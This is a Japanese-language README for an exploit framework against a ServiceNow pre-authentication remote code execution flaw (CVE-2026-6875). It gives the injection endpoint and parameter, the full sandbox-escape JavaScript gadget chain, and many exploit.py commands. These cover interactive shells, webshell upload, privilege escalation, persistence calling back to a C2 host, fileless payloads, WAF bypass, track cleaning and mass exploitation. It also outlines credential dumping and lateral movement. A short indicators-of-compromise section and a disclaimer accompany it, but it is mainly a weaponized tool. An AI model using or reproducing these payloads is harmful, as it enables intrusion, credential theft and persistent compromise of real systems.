CVE-2026-6875 - ServiceNow 事前認証RCEエクスプロイトフレームワーク & PoC検証ツール 🔥

ServiceNow AI プラットフォーム — JavaScriptインジェクション → サンドボックスエスケープ → RCE → root権限昇格

エクスプロイトフレームワーク & セーフ検証ツール
許可されたセキュリティテストのみを対象としています。

⚖️ 法的免責事項と責任ある使用

このツールは、教育目的および許可されたペネトレーションテスト専用に提供されています。

著者および貢献者は、本ソフトウェアの誤用または損害について一切の責任を負いません。ユーザーは、テスト前にターゲット所有者から明示的な書面による許可を得ていることを確認する責任を単独で負います。コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act（CFAA）および世界中の同様の法律に基づき違法です。

本ソフトウェアを使用することにより、あなたは以下に同意したものとします:

• 所有している、またはテストする明示的な許可を得ているシステムでのみ使用すること。
• 該当するすべての地域、州、連邦の法律を遵守すること。
• 悪意のある、破壊的な、または違法な活動に使用しないこと。

⚠️ 警告: この脆弱性は実環境で活発に悪用されています。不正使用は深刻な法的結果を招く可能性があります。

🔥 脆弱性の概要

CVE-2026-6875 は、ServiceNow AI プラットフォーム（旧 Now Platform）における重大な**認証不要のリモートコード実行（RCE）**脆弱性です。攻撃者はスクリプトサンドボックスを回避し、ServiceNow アプリケーションの権限で任意のシステムコマンドを実行できます。

動作の仕組み:

1. JavaScriptインジェクション: assessment_thanks.do エンドポイントは sysparm_assessable_type パラメータを受け付けます。値の先頭に javascript: を付けることで、攻撃者は任意のJavaScriptコードを注入できます。

2. サンドボックスエスケープ: 高度なサンドボックスエスケープガジェット（DiscoveryFunctions.getCacheObjectForTable、AbstractAjaxProcessor、Class.create を連鎖させる）により、JavaScriptサンドボックス制限を解除します。

3. リモートコード実行: 注入されたJavaコード（java.lang.Runtime.exec() 経由）が ServiceNow アプリケーション権限で実行され、システム全体の完全な侵害が可能になります。

4. 権限昇格: ポストエクスプロイテーションモジュールは、sudoの設定ミス、SUIDバイナリ、書き込み可能なcronジョブ、カーネルエクスプロイトを利用してrootへの権限昇格を試みます。

主要情報:

🛠️ エクスプロイトフレームワーク (exploit.py)

完全な武器化エクスプロイトは、JavaScriptインジェクションとサンドボックスエスケープを連鎖させてリモートコード実行を実現し、永続化、横展開、資格情報ダンプのための高度なポストエクスプロイテーションモジュールを備えています。

✨ 機能

対話型シェルコマンド

🕵️ セーフ検証ツール (verifier.py)

セーフ検証ツールは、有害なペイロードを実行したりシステムに変更を加えたりすることなく、非侵入型の脆弱性検出を実行します。

✨ 機能

📦 インストールと要件

前提条件

• Python 3.6+
• pip（requests ライブラリ用）

依存関係のインストール

pip install requests urllib3

[!NOTE] exploit.py はコア機能に標準ライブラリのみを使用します。requests は --detect 機能、--webhook 通知、およびセーフ検証ツールにのみ必要です。

🚀 使用例

[1] セーフ検証ツール (verifier.py)

# Single target verification
python verifier.py -u 192.168.1.100

# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow

# Mass scan from file
python verifier.py -l targets.txt -o results.json

# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q

# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60

# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"

[2] エクスプロイトフレームワーク (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc

# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp

# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444

# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean

# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090

# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass

# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow

# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls

# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0

🎯 影響を受けるバージョン

⚠️ 重要: ServiceNow Cloud インスタンスは自動的にパッチ適用されます。この脆弱性は主にセルフホスト型のデプロイに影響します。

🧠 技術詳細

1. JavaScriptインジェクション（CVE-2026-6875）

この脆弱性は、sysparm_assessable_type パラメータを受け付ける assessment_thanks.do エンドポイントに存在します。javascript: で始まる値を指定すると、プラットフォームは後続の JavaScript をシステムコンテキスト内で評価します。

脆弱なエンドポイント:

POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')

2. サンドボックスエスケープガジェット

注入されたコードは最初、サンドボックス内に制限されます。しかし、次のチェーンを利用することで:

javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
  a,"",DiscoveryFunctions.getFirstValueFromTable(
    a,"",DiscoveryFunctions.getFirstValueFromTable(
      a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);

サンドボックスが回避され、java.lang.Runtime などのJavaクラスへの完全なアクセスが許可されます。

3. ポストエクスプロイテーションモジュール

資格情報のダンプ

.properties、.xml、.conf ファイルからパスワード、APIキー、シークレットを検索します:

• /opt/ServiceNow/conf/*.xml
• /var/log/ServiceNow/*.log
• /etc/passwd, /etc/shadow

永続化

次の方法でバックドアをインストールします:

• Linux: Cronジョブ（*/5 * * * *）、systemdサービス、SSHキー
• Windows: スケジュールタスク（schtasks）、レジストリのRunキー

横展開

ローカルサブネット内の他の ServiceNow インスタンスまたは SSH ホストをスキャンし、発見した資格情報を再利用します。

ファイルレス実行

Javaクラスをその場でコンパイルし、ClassLoader を介してロードして、メモリ内で実行します（ディスクへの書き込みなし）。

WAF回避テクニック

1. 二重URLエンコーディング
2. JavaScriptコメント（{/*comment*/}）
3. Unicodeエスケープ（w の場合は \u0077）
4. 空白文字の注入
5. キーワード分割（new の場合は ne\u0077）
6. テクニックのランダム選択

🔍 侵害指標（IoCs）

ログ分析

ServiceNow ログで以下を検索してください:

• extraweb_access.log – sysparm_assessable_type に以下を含む /assessment_thanks.do へのリクエスト:
  • javascript:
  • Base64エンコードされた文字列
  • DiscoveryFunctions.getCacheObjectForTable
  • AbstractAjaxProcessor

ファイルシステム

• /var/tmp/ 内の予期しないファイル（例: shell.jsp、.sh スクリプト）
• 変更された /etc/passwd、/etc/shadow、または ~/.ssh/authorized_keys
• 新しい cron ジョブ（crontab -l）
• 新しい systemd サービス（/etc/systemd/system/）

プロセス

• 不審なプロセス（/bin/bash -i、nc、curl、wget、python -c）
• 外部IPアドレスへの予期しないネットワーク接続

ネットワーク

• ServiceNow サーバーから未承認IPへのアウトバウンド接続
• 通常ではないポートでのリバースシェル接続

📚 参考情報

• NVD - CVE-2026-6875
• ServiceNow セキュリティアドバイザリ (KB3137947)
• CISA KEV カタログ
• Searchlight Cyber – 技術解説
• The Hacker News – 悪用されたServiceNowゼロデイ

🔗 その他のエクスプロイト

[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework

[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit

[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit

[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit